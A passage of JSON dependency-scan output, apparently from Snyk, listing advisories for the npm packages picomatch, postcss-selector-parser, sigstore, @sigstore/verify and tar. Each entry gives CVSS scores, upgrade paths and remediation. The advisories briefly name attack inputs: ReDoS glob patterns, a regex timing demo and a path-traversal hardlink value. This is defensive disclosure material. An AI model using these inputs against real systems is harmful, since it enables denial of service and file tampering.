strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "picomatch", "version": "4.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "picomatch", "version": "4.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-POSTCSSSELECTORPARSER-20510276", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<7.1.6" ] }, "exploit": "Not Defined", "fixedIn": [ "7.1.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "postcss-selector-parser", "references": [ { "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf", "title": "GitHub Advisory" }, { "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd", "title": "GitHub Commit" }, { "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `uniqs` helper and index-membership checks in `src/parser.js` when parsing flat selectors (e.g. `.a.a.a...`) containing a large number of class or ID tokens. The original implementation uses `Array.indexOf` inside a `filter` callback and repeated linear scans of the `hasClass`/`hasId` arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.\n## Remediation\nUpgrade `postcss-selector-parser` to version 7.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf)\n- [GitHub Commit](https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd)\n- [GitHub Release](https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6)\n", "epssDetails": { "percentile": "0.31217", "probability": "0.00394", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-104844" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-rj75-hqrm-r3gf" ] }, "packageName": "postcss-selector-parser", "proprietary": false, "creationTime": "2026-10-05T09:18:38.058885Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-02T18:30:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-05T09:18:38.281663Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:37:51.094822Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.1" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.6" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "postcss-selector-parser", "version": "7.1.1", "severityWithCritical": "high" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "sigstore", "version": "4.1.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "@sigstore/verify", "version": "3.1.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "@sigstore/verify", "version": "3.1.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible 